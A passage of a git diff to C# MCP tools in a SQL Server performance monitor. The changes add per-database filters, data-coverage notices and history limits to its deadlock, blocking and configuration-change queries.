+                    : SensitiveStatements.Xml(r.DeadlockGraphXml, DeadlockGraphPreviewLength) ?? SensitiveStatements.PlaceholderText;
+                return new
             {
                 collection_time = r.CollectionTime.ToString("o"),
                 deadlock_time = r.DeadlockTime?.ToString("o"),
                 victim_process_id = r.VictimProcessId,
                 dedup_key = keys[i],
-                deadlock_graph_xml = showFullGraph ? r.DeadlockGraphXml : McpHelpers.Truncate(r.DeadlockGraphXml, DeadlockGraphPreviewLength),
-                deadlock_graph_xml_truncated = !showFullGraph && r.DeadlockGraphXml.Length > DeadlockGraphPreviewLength
+                processes,
+                processes_truncated = processesTruncated,
+                deadlock_graph_xml = showFullGraph ? filteredGraph : McpHelpers.Truncate(filteredGraph, DeadlockGraphPreviewLength),
+                deadlock_graph_xml_truncated = !showFullGraph && filteredGraph!.Length > DeadlockGraphPreviewLength
+            };
             });
 
-            return JsonSerializer.Serialize(new
+            var json = JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: where the store's data starts, always present on a data answer (false and null when the store covered the
+                   window). No effective_hours_back: this payload carries a page `truncated`, and the census holds that key apart
+                   for the window floor. A failed coverage probe leaves the three off (see the return below). */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 dedup_key = filtering ? DarlingIncidentFingerprint.NormalizeKey(dedup_key) : null,
                 /* #3541 A3: the page bounds, on the same names as get_deadlocks. The page here is graphs, so
                    truncated means "more deadlocks WITH a graph than limit", which is the sentence this tool's
                    caller needs. */
                 deadlocks_returned = withXml.Count,
                 truncated,
-                oldest_returned_deadlock_time = withXml.Min(r => r.DeadlockTime)?.ToString("o"),
-                newest_returned_deadlock_time = withXml.Max(r => r.DeadlockTime)?.ToString("o"),
+                oldest_returned_deadlock_time = McpHelpers.FormatEffectiveStart(withXml.Min(r => r.DeadlockTime)),
+                newest_returned_deadlock_time = McpHelpers.FormatEffectiveStart(withXml.Max(r => r.DeadlockTime)),
                 order = "deadlock_time_desc",
                 rows_examined = filtering ? examined : (int?)null,
                 scan_truncated = filtering ? scanTruncated : (bool?)null,
                 deadlocks = result
             }, McpHelpers.JsonOptions);
+
+            /* A failed probe costs the notice, never the rows (see DarlingMcpWindowNotice.ReadAsync). */
+            return notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -519,13 +700,25 @@ caller needs. */
     }
 
     [McpServerTool(Name = "get_blocked_process_xml"), Description("Gets the raw blocked process report XML from extended events, NEWEST FIRST. Contains full detail about both the blocked and blocking sessions for deep analysis. Only rows that CARRY a report (the XE capture; the DMV fallback never has one) are counted against limit; reports_returned, truncated and oldest_returned_event_time / newest_returned_event_time describe the page the same way get_blocking does, and truncated means the window held more reports than limit.")]
-    public static async Task<string> GetBlockedProcessXml(
+    public static Task<string> GetBlockedProcessXml(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history. Default 24.")] int hours_back = 24,
         [Description("Maximum reports WITH XML to return, newest first. Default 5. Read truncated to know whether the window held more.")] int limit = 5,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
-        CancellationToken cancellationToken = default)
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null,
+        ILogger? logger = null,
+        CancellationToken cancellationToken = default) =>
+        GetBlockedProcessXml(postgres, server_name, hours_back, limit, as_of, DatabaseFilter.One(database_name), logger, cancellationToken);
+
+    /// <summary>
+    /// get_blocked_process_xml over a SET of databases (#5244): the report-XML predicate and the database predicate are both in the
+    /// SQL, so the page is the newest <paramref name="limit"/> reports WITH XML of the chosen databases, and the empty answer says
+    /// "for the chosen databases" (status unchanged).
+    /// </summary>
+    internal static async Task<string> GetBlockedProcessXml(
+        NpgsqlDataSource postgres, string? server_name, int hours_back, int limit, string? as_of, DatabaseFilter databases,
+        ILogger? logger = null, CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
@@ -538,6 +731,7 @@ public static async Task<string> GetBlockedProcessXml(
         try
         {
             var now = windowEnd;
+            var windowStart = now.AddHours(-hours_back);
 
             /* #3541 A3: same shape as get_deadlock_detail — the report-XML predicate is in the SQL, the XE
                arm alone is read (the DMV fallback never carries a report), and the fetch is the caller's
@@ -545,7 +739,7 @@ arm alone is read (the DMV fallback never carries a report), and the fetch is th
                asking for five reports had at most the newest 200 merged rows to find them in, DMV rows
                included, and nothing said so. */
             var candidates = await DarlingBlockingReader.GetRecentBlockedProcessReportsWithXmlAsync(
-                postgres, resolved.ServerId, now.AddHours(-hours_back), now, limit + 1, cancellationToken);
+                postgres, resolved.ServerId, now.AddHours(-hours_back), now, limit + 1, databases, cancellationToken);
             var truncated = candidates.Count > limit;
             var withXml = candidates.Take(limit).ToList();
             if (withXml.Count == 0)
@@ -553,7 +747,17 @@ arm alone is read (the DMV fallback never carries a report), and the fetch is th
                     /* #2546: same order and same reason as get_deadlocks — a blocked-process capture whose
                        session is gone is indistinguishable here from a server that never blocked. */
                     ?? await DarlingRuntimePrecondition.StatusAsync(postgres, resolved.ServerId, resolved.ServerName, "blocked_process_report", cancellationToken)
-                    ?? McpHelpers.Status("empty", "No blocked process report XML available in the specified time range.");
+                    /* #4966: the report XML exists only in the XE arm, so the probe is the XE collector's alone: the DMV snapshots are
+                       not a source of these rows, and their longer history must not read as coverage of reports they cannot hold. */
+                    ?? McpHelpers.Status("empty", $"No blocked process report XML available in the specified time range{ForChosenDatabases(databases)}.",
+                        (await DarlingMcpWindowNotice.ReadEventAsync(
+                            () => DarlingMcpWindowNotice.Probe(postgres, "blocked_process_reports", resolved.ServerName, windowStart, now, cancellationToken),
+                            null, windowStart, now, "blocked_process_reports", emptyAnswer: true, logger: logger, cancellationToken: cancellationToken)).AsHints());
+
+            /* #4966: the XE collector's coverage, earlier-of the oldest report shown (see get_deadlocks). */
+            var notice = await DarlingMcpWindowNotice.ReadEventAsync(
+                () => DarlingMcpWindowNotice.Probe(postgres, "blocked_process_reports", resolved.ServerName, windowStart, now, cancellationToken),
+                withXml.Min(r => r.EventTime), windowStart, now, "blocked_process_reports", logger: logger, cancellationToken: cancellationToken);
 
             var result = withXml.Select(r => new
             {
@@ -565,19 +769,30 @@ session is gone is indistinguishable here from a server that never blocked. */
                 blocked_process_report_xml = r.BlockedProcessReportXml
             });
 
-            return JsonSerializer.Serialize(new
+            var json = JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: where the store's data starts, always present on a data answer (false and null when the store covered the
+                   window). No effective_hours_back: this payload carries a page `truncated`, and the census holds that key apart
+                   for the window floor. A failed coverage probe leaves the three off (see the return below). */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
+                /* #5244: which databases the page is limited to: the name for one, "the chosen databases" for two or more, null for all. */
+                database_name = databases.Describe(),
                 /* #3541 A3: the page bounds, on get_blocking's names. truncated means "more reports WITH
                    XML in the window than limit". */
                 reports_returned = withXml.Count,
                 truncated,
-                oldest_returned_event_time = withXml.Min(r => r.EventTime)?.ToString("o"),
-                newest_returned_event_time = withXml.Max(r => r.EventTime)?.ToString("o"),
+                oldest_returned_event_time = McpHelpers.FormatEffectiveStart(withXml.Min(r => r.EventTime)),
+                newest_returned_event_time = McpHelpers.FormatEffectiveStart(withXml.Max(r => r.EventTime)),
                 order = "event_time_desc",
                 reports = result
             }, McpHelpers.JsonOptions);
+
+            /* A failed probe costs the notice, never the rows (see DarlingMcpWindowNotice.ReadAsync). */
+            return notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -585,18 +800,31 @@ XML in the window than limit". */
         }
     }
 
-    [McpServerTool(Name = "get_blocking_trend"), Description("Gets a time-series of blocking event counts per minute over time (blocked process reports, falling back to the always-on DMV blocking snapshot). Useful for identifying patterns (e.g., blocking spikes during batch jobs) or confirming whether blocking is a new, worsening, or resolved issue.")]
-    public static async Task<string> GetBlockingTrend(
+    [McpServerTool(Name = "get_blocking_trend"), Description("Gets a time-series of blocking event counts per minute over time (blocked process reports, falling back to the always-on DMV blocking snapshot). Useful for identifying patterns (e.g., blocking spikes during batch jobs) or confirming whether blocking is a new, worsening, or resolved issue. The source key names the collector that answered, blocked-process-report or DMV snapshot; the DMV snapshot is used only when the blocked process reports have no rows for the chosen databases, so source can differ between filters.")]
+    public static Task<string> GetBlockingTrend(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history. Default 24.")] int hours_back = 24,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null,
+        CancellationToken cancellationToken = default) =>
+        GetBlockingTrend(postgres, server_name, hours_back, as_of, DatabaseFilter.One(database_name), cancellationToken);
+
+    /// <summary>
+    /// get_blocking_trend over a SET of databases (#5244): both arms of the trend (XE reports and the DMV fallback) count only the
+    /// named databases' blocking. The empty answer keeps its status words and says "for the chosen databases": the collector-run
+    /// counts behind it are the SERVER's (a collector looks at every database), so "empty" means the captures ran and none of the
+    /// chosen databases' blocking was in them, and "unavailable" is still no capture at all.
+    /// </summary>
+    internal static async Task<string> GetBlockingTrend(
+        NpgsqlDataSource postgres, string? server_name, int hours_back, string? as_of, DatabaseFilter databases,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
 
-        var validation = McpHelpers.ValidateWindow(hours_back, as_of, out var windowEnd);
+        /* #5562: reaches the raw table's 30-day retention (720 h); 33.6 ms at 30 days on a large store. The ceiling is the WebReadReach row. */
+        var validation = McpHelpers.ValidateWindow(hours_back, as_of, WebReadReach.MaxHoursFor("get_blocking_trend"), out var windowEnd);
         if (validation != null) return validation;
 
         try
@@ -604,7 +832,7 @@ public static async Task<string> GetBlockingTrend(
             var now = windowEnd;
             var start = now.AddHours(-hours_back);
             var points = await DarlingBlockingTrendReader.GetBlockingTrendAsync(
-                postgres, resolved.ServerId, start, now, cancellationToken);
+                postgres, resolved.ServerId, start, now, databases, cancellationToken);
 
             if (points.Count == 0)
             {
@@ -624,15 +852,20 @@ means nothing at all is known about the window. The stored tables cannot tell th
 
                 var captures = await DarlingBlockingTrendReader.GetBlockingCaptureCountsAsync(
                     postgres, resolved.ServerId, start, now, cancellationToken);
-                return await EmptyTrend(
+                return WithNullSource(await EmptyTrend(
                     "blocking", resolved.ServerName, hours_back, captures,
-                    () => DarlingBlockingTrendReader.HasAnyBlockingCollectorRunAsync(postgres, resolved.ServerId, cancellationToken));
+                    () => DarlingBlockingTrendReader.HasAnyBlockingCollectorRunAsync(postgres, resolved.ServerId, cancellationToken),
+                    databases));
             }
 
             return JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #5244: which databases the trend is limited to (null for all), and which collector answered: the blocked-process
+                   reports, or the DMV snapshot when those have no rows for the chosen databases. One source per answer. */
+                database_name = databases.Describe(),
+                source = points[0].Source,
                 trend = points.Select(p => new { time = p.Time.ToString("o"), count = p.Count })
             }, McpHelpers.JsonOptions);
         }
@@ -653,7 +886,8 @@ public static async Task<string> GetDeadlockTrend(
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
 
-        var validation = McpHelpers.ValidateWindow(hours_back, as_of, out var windowEnd);
+        /* #5562: reaches the raw table's 30-day retention (720 h); 13.8 ms at 30 days on a large store. The ceiling is the WebReadReach row. */
+        var validation = McpHelpers.ValidateWindow(hours_back, as_of, WebReadReach.MaxHoursFor("get_deadlock_trend"), out var windowEnd);
         if (validation != null) return validation;
 
         try
@@ -717,7 +951,8 @@ internal static async Task<string> GetLockWaitTrend(
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
 
-        var validation = McpHelpers.ValidateWindow(hours_back, as_of, out var windowEnd);
+        /* #5562: reaches the raw table's 30-day retention (720 h); 5.3 s at 30 days on a large store. The ceiling is the WebReadReach row. */
+        var validation = McpHelpers.ValidateWindow(hours_back, as_of, WebReadReach.MaxHoursFor("get_lock_wait_trend"), out var windowEnd);
         if (validation != null) return validation;
 
         var bucketError = TrendBuckets.Resolve(hours_back, bucket_minutes, 1, budget, out var bucketMinutes);
@@ -780,6 +1015,18 @@ and filtering the probe the same way would call that server uncollected.
         }
     }
 
+    /// <summary>
+    /// #5244: the empty answers of get_blocking_trend carry <c>source: null</c> -- the same key a non-empty answer names its collector in,
+    /// and the value get_blocking_stats gives when its blocking series has no rows -- so a caller reads one shape for "which collector
+    /// answered" whether or not any collector did. Appended to the status envelope; the deadlock trend shares EmptyTrend and does not call this.
+    /// </summary>
+    private static string WithNullSource(string statusAnswer)
+    {
+        var node = JsonNode.Parse(statusAnswer)!.AsObject();
+        node["source"] = null;
+        return node.ToJsonString(McpHelpers.JsonOptions);
+    }
+
     /// <summary>
     /// The empty answer both per-minute trends give, and the whole point of #2485: <c>trend: []</c> is the
     /// same bytes on a server that had no blocking and on one that collected nothing, and an agent holding
@@ -801,7 +1048,8 @@ private static async Task<string> EmptyTrend(
         string serverName,
         int hoursBack,
         List<DarlingBlockingTrendReader.CaptureCount> captures,
-        Func<Task<bool>> hasEverCapturedAsync)
+        Func<Task<bool>> hasEverCapturedAsync,
+        DatabaseFilter databases = default)
     {
         var captureCount = captures.Sum(c => c.Runs);
         var hints = new
@@ -821,7 +1069,7 @@ private static async Task<string> EmptyTrend(
         if (captureCount > 0)
             return McpHelpers.Status(
                 "empty",
-                $"No {subject} was recorded for {serverName} in the last {hoursBack} hour(s). {captureCount} collector run(s) DID execute over this window, so this is a genuine all-clear rather than missing data — see hints.captures for which collectors ran and when.",
+                $"No {subject} was recorded for {serverName}{ForChosenDatabases(databases)} in the last {hoursBack} hour(s). {captureCount} collector run(s) DID execute over this window, so this is a genuine all-clear rather than missing data — see hints.captures for which collectors ran and when.",
                 hints);
 
         var everCaptured = await hasEverCapturedAsync();
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpConfigHistoryTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpConfigHistoryTools.cs
index 3ccea6f018..ae743cf482 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpConfigHistoryTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpConfigHistoryTools.cs
@@ -13,9 +13,11 @@
 using System.Text.Json;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
 
 #pragma warning disable CA1707 // MCP tools use snake_case naming convention
 
@@ -47,6 +49,7 @@ public static async Task<string> GetServerConfigChanges(
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history to retrieve. Default 168 (7 days).")] int hours_back = 168,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -65,9 +68,19 @@ keeps DateTime.MaxValue as the (no-op) upper edge so the shared both-edges diff
                prior behaviour exactly. An as_of anchor is what closes the upper edge. */
             var changes = ConfigChangeDiff.DiffServerConfigChanges(snapshots, windowStart, UpperEdge(as_of, windowEndNaive));
             if (changes.Count == 0)
-                return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "server_config", cancellationToken)
-                    ?? NoChanges(resolved.ServerName, hours_back, DistinctCaptures(snapshots.Select(s => s.CaptureTime)));
+            {
+                /* Decide not_collected first: it carries no notice, so probing before it would throw the probe away. */
+                var notCollected = await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "server_config", cancellationToken);
+                if (notCollected is not null)
+                {
+                    return notCollected;
+                }
+
+                var emptyNotice = await ReadNoticeAsync(postgres, "server_config", resolved.ServerName, windowStart, windowEndNaive, emptyAnswer: true, logger, cancellationToken);
+                return NoChanges(resolved.ServerName, hours_back, DistinctCaptures(snapshots.Select(s => s.CaptureTime)), emptyNotice);
+            }
 
+            var notice = await ReadNoticeAsync(postgres, "server_config", resolved.ServerName, windowStart, windowEndNaive, emptyAnswer: false, logger, cancellationToken);
             var result = changes.Select(c => new
             {
                 change_time = c.ChangeTime.ToString("o"),
@@ -80,13 +93,20 @@ prior behaviour exactly. An as_of anchor is what closes the upper edge. */
                 is_advanced = c.IsAdvanced
             });
 
-            return JsonSerializer.Serialize(new
+            var json = JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: the window floor, always present on a data answer. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 change_count = changes.Count,
                 changes = result
             }, McpHelpers.JsonOptions);
+
+            /* A failed probe costs the notice, never the changes (see DarlingMcpWindowNotice.ReadAsync). */
+            return notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -95,12 +115,31 @@ prior behaviour exactly. An as_of anchor is what closes the upper edge. */
     }
 
     [McpServerTool(Name = "get_database_config_changes"), Description("Gets database configuration change history by diffing sys.databases snapshots. Shows which database settings changed (recovery model, RCSI, compatibility level, etc.) with old and new values; setting_name is the underlying column name. NOTE: this edition captures config on server connect (not on a fixed schedule), so changes are detected between connect snapshots and need at least two; the setting category/description narrative is not collected and is omitted.")]
-    public static async Task<string> GetDatabaseConfigChanges(
+    public static Task<string> GetDatabaseConfigChanges(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history to retrieve. Default 168 (7 days).")] int hours_back = 168,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
+        => GetDatabaseConfigChanges(postgres, server_name, hours_back, DatabaseFilter.One(database_name), as_of, logger, cancellationToken);
+
+    /// <summary>
+    /// #5245: the get_database_config_changes read over a LIST of databases. The MCP tool passes
+    /// <c>DatabaseFilter.One(database_name)</c> (blank is every database) and the web route the repeated keys (#5244); every answer
+    /// shape echoes <c>database_name</c> (the name for one database, "the chosen databases" for two or more, null for all). The snapshots are filtered in SQL, so the diff, the
+    /// window notice and the not_collected check are unchanged, and the only one-name consumer is the empty answer, which
+    /// says which databases it looked at (<see cref="DatabaseScopeText"/>) instead of claiming the SERVER has too few captures.
+    /// </summary>
+    internal static async Task<string> GetDatabaseConfigChanges(
+        NpgsqlDataSource postgres,
+        string? server_name,
+        int hours_back,
+        DatabaseFilter databases,
+        string? as_of,
+        ILogger? logger,
+        CancellationToken cancellationToken)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
@@ -112,12 +151,26 @@ public static async Task<string> GetDatabaseConfigChanges(
         {
             var windowEndNaive = NaiveUtc(windowEnd);
             var windowStart = windowEndNaive.AddHours(-hours_back);
-            var snapshots = await DarlingConfigHistoryReader.GetDatabaseConfigSnapshotsAsync(postgres, resolved.ServerId, cancellationToken);
+            var snapshots = await DarlingConfigHistoryReader.GetDatabaseConfigSnapshotsAsync(postgres, resolved.ServerId, databases, cancellationToken);
             var changes = ConfigChangeDiff.DiffDatabaseConfigChanges(snapshots, windowStart, UpperEdge(as_of, windowEndNaive));
             if (changes.Count == 0)
-                return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "database_config", cancellationToken)
-                    ?? NoChanges(resolved.ServerName, hours_back, DistinctCaptures(snapshots.Select(s => s.CaptureTime)));
+            {
+                /* Decide not_collected first: it carries no notice, so probing before it would throw the probe away. */
+                var notCollected = McpHelpers.WithDatabase(
+                    await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "database_config", cancellationToken),
+                    databases.Describe());
+                if (notCollected is not null)
+                {
+                    return notCollected;
+                }
 
+                var emptyNotice = await ReadNoticeAsync(postgres, "database_config", resolved.ServerName, windowStart, windowEndNaive, emptyAnswer: true, logger, cancellationToken);
+                return McpHelpers.WithDatabase(
+                    NoChanges(resolved.ServerName, hours_back, DistinctCaptures(snapshots.Select(s => s.CaptureTime)), emptyNotice, DatabaseScopeText(databases)),
+                    databases.Describe())!;
+            }
+
+            var notice = await ReadNoticeAsync(postgres, "database_config", resolved.ServerName, windowStart, windowEndNaive, emptyAnswer: false, logger, cancellationToken);
             var result = changes.Select(c => new
             {
                 change_time = c.ChangeTime.ToString("o"),
@@ -127,13 +180,21 @@ public static async Task<string> GetDatabaseConfigChanges(
                 new_value = c.NewValue
             });
 
-            return JsonSerializer.Serialize(new
+            var json = JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: the window floor, always present on a data answer. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
+                database_name = databases.Describe(),
                 change_count = changes.Count,
                 changes = result
             }, McpHelpers.JsonOptions);
+
+            /* A failed probe costs the notice, never the changes (see DarlingMcpWindowNotice.ReadAsync). */
+            return notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -147,6 +208,7 @@ public static async Task<string> GetTraceFlagChanges(
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history to retrieve. Default 168 (7 days).")] int hours_back = 168,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -162,9 +224,19 @@ public static async Task<string> GetTraceFlagChanges(
             var snapshots = await DarlingConfigHistoryReader.GetTraceFlagSnapshotsAsync(postgres, resolved.ServerId, cancellationToken);
             var changes = ConfigChangeDiff.DiffTraceFlagChanges(snapshots, windowStart, UpperEdge(as_of, windowEndNaive));
             if (changes.Count == 0)
-                return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "trace_flags", cancellationToken)
-                    ?? NoChanges(resolved.ServerName, hours_back, DistinctCaptures(snapshots.Select(s => s.CaptureTime)));
+            {
+                /* Decide not_collected first: it carries no notice, so probing before it would throw the probe away. */
+                var notCollected = await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "trace_flags", cancellationToken);
+                if (notCollected is not null)
+                {
+                    return notCollected;
+                }
+
+                var emptyNotice = await ReadNoticeAsync(postgres, "trace_flags", resolved.ServerName, windowStart, windowEndNaive, emptyAnswer: true, logger, cancellationToken);
+                return NoChanges(resolved.ServerName, hours_back, DistinctCaptures(snapshots.Select(s => s.CaptureTime)), emptyNotice);
+            }
 
+            var notice = await ReadNoticeAsync(postgres, "trace_flags", resolved.ServerName, windowStart, windowEndNaive, emptyAnswer: false, logger, cancellationToken);
             var result = changes.Select(c => new
             {
                 change_time = c.ChangeTime.ToString("o"),
@@ -177,13 +249,20 @@ public static async Task<string> GetTraceFlagChanges(
                 is_session = c.IsSession
             });
 
-            return JsonSerializer.Serialize(new
+            var json = JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: the window floor, always present on a data answer. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 change_count = changes.Count,
                 changes = result
             }, McpHelpers.JsonOptions);
+
+            /* A failed probe costs the notice, never the changes (see DarlingMcpWindowNotice.ReadAsync). */
+            return notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -192,11 +271,25 @@ public static async Task<string> GetTraceFlagChanges(
     }
 
     [McpServerTool(Name = "get_database_scoped_config"), Description("Gets database-scoped configuration settings (sys.database_scoped_configurations). Shows MAXDOP, legacy CE, parameter sniffing, and other per-database settings. LATEST IS A TIME: captured when the collector connects, not on a schedule - captured_at is the instant these settings are as of.")]
-    public static async Task<string> GetDatabaseScopedConfig(
+    public static Task<string> GetDatabaseScopedConfig(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Filter to a specific database. Omit for all databases.")] string? database_name = null,
         CancellationToken cancellationToken = default)
+        => GetDatabaseScopedConfig(postgres, server_name, DatabaseFilter.One(database_name), cancellationToken);
+
+    /// <summary>
+    /// #5245: the GetDatabaseScopedConfig read over a LIST of databases. The MCP tool passes <see cref="DatabaseFilter.One"/> of its one
+    /// <c>database_name</c> (a blank or whitespace-only name is every database) and the web route passes the repeated keys (#5244).
+    /// The read stays a latest-snapshot read of the whole server filtered in memory (so an empty store still answers
+    /// unavailable / not_collected for the server, never "no such database"), and the in-memory match is list-aware
+    /// (<see cref="MatchesDatabases"/>, case-insensitive as it always was). The payload names no database beyond each row's own.
+    /// </summary>
+    internal static async Task<string> GetDatabaseScopedConfig(
+        NpgsqlDataSource postgres,
+        string? server_name,
+        DatabaseFilter databases,
+        CancellationToken cancellationToken)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
@@ -211,8 +304,7 @@ public static async Task<string> GetDatabaseScopedConfig(
                         "No database-scoped configuration data available. The config collector may not have run yet.");
 
             IEnumerable<DarlingConfigHistoryReader.DatabaseScopedConfigReadRow> filtered = snapshot.Rows;
-            if (!string.IsNullOrEmpty(database_name))
-                filtered = filtered.Where(r => r.DatabaseName.Equals(database_name, StringComparison.OrdinalIgnoreCase));
+            filtered = MatchesDatabases(filtered, databases, r => r.DatabaseName);
 
             var grouped = filtered
                 .GroupBy(r => r.DatabaseName)
@@ -243,11 +335,25 @@ public static async Task<string> GetDatabaseScopedConfig(
     }
 
     [McpServerTool(Name = "get_query_store_health"), Description("Per-database Query Store health: actual/desired state (desired READ_WRITE, actual READ_ONLY = the storage-cap failure). query_capture_mode (churn knob): ALL (2016/17 default) churns most; AUTO (2019+ default) skips minor ones; CUSTOM tunes AUTO; NONE stops new capture. wait_stats_capture_mode: ON default, OFF empties per-query waits. null on either: pre-rung row, or pre-2017 engine for wait_stats - never OFF. No verdict rendered. No rows = unavailable or not_collected; an unmatched database_name gives database_count 0. LATEST IS A TIME: captured_at is the newest hourly capture. <<GUIDE>> Gets per-database Query Store health (sys.database_query_store_options): actual vs desired state, readonly_reason (decoded), storage used vs cap, cleanup mode and thresholds, the runtime-stats interval length, and — the two trailing fields on every row since V137 / Lite v64 — query_capture_mode and wait_stats_capture_mode. The classic silent failure is desired READ_WRITE with actual READ_ONLY after the storage cap hit — check this when Query Store data looks stale or missing. CAPTURE MODE IS THE PLAN-CHURN KNOB: query_capture_mode is the one option on this row that names a plan-churn factory. ALL captures every query the engine compiles, one-off ad hoc statements included — on an ad hoc workload each distinct text is a new query with a new plan, so the store fills toward max_storage_size_mb, size-based cleanup cycles, and the READ_ONLY cap hit that readonly_reason decodes follows; ALL was the engine default on SQL Server 2016 and 2017. AUTO skips insignificant queries (the engine's own thresholds over a day: fewer than 30 executions, under 1 s of compile CPU and under 100 ms of execution CPU) and has been the default since SQL Server 2019 and on Azure SQL Database. CUSTOM (2019+) is AUTO with operator-set thresholds — the capture_policy_* knobs, which this row does not collect, so CUSTOM here says the thresholds were tuned, not to what. NONE stops capturing NEW queries while the store keeps collecting compile and runtime statistics for the ones it already holds. wait_stats_capture_mode ON (the default) records per-plan wait statistics into every runtime-stats interval, at a per-execution bookkeeping cost and more store bytes per interval; OFF saves both and leaves the store's per-query wait view empty. Both are the DMV's *_desc spelling verbatim. null means the row predates the V137 rung or, for wait_stats_capture_mode, the engine is older than SQL Server 2017 (the column does not exist there) — never OFF. Consumed by the Viewer's Query Store grid and, next, by get_query_store_clutter as its churn × ALL 'switch to AUTO' arm; this tool reports the modes and renders no verdict on them. Collected hourly; OFF is recorded as OFF (an absent database means not collected, never off). LATEST IS A TIME: this is the newest hourly capture, and captured_at is its instant.")]
-    public static async Task<string> GetQueryStoreHealth(
+    public static Task<string> GetQueryStoreHealth(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Filter to a specific database. Omit for all databases.")] string? database_name = null,
         CancellationToken cancellationToken = default)
+        => GetQueryStoreHealth(postgres, server_name, DatabaseFilter.One(database_name), cancellationToken);
+
+    /// <summary>
+    /// #5245: the GetQueryStoreHealth read over a LIST of databases. The MCP tool passes <see cref="DatabaseFilter.One"/> of its one
+    /// <c>database_name</c> (a blank or whitespace-only name is every database) and the web route passes the repeated keys (#5244).
+    /// The read stays a latest-snapshot read of the whole server filtered in memory (so an empty store still answers
+    /// unavailable / not_collected for the server, never "no such database"), and the in-memory match is list-aware
+    /// (<see cref="MatchesDatabases"/>, case-insensitive as it always was). The payload names no database beyond each row's own.
+    /// </summary>
+    internal static async Task<string> GetQueryStoreHealth(
+        NpgsqlDataSource postgres,
+        string? server_name,
+        DatabaseFilter databases,
+        CancellationToken cancellationToken)
     {
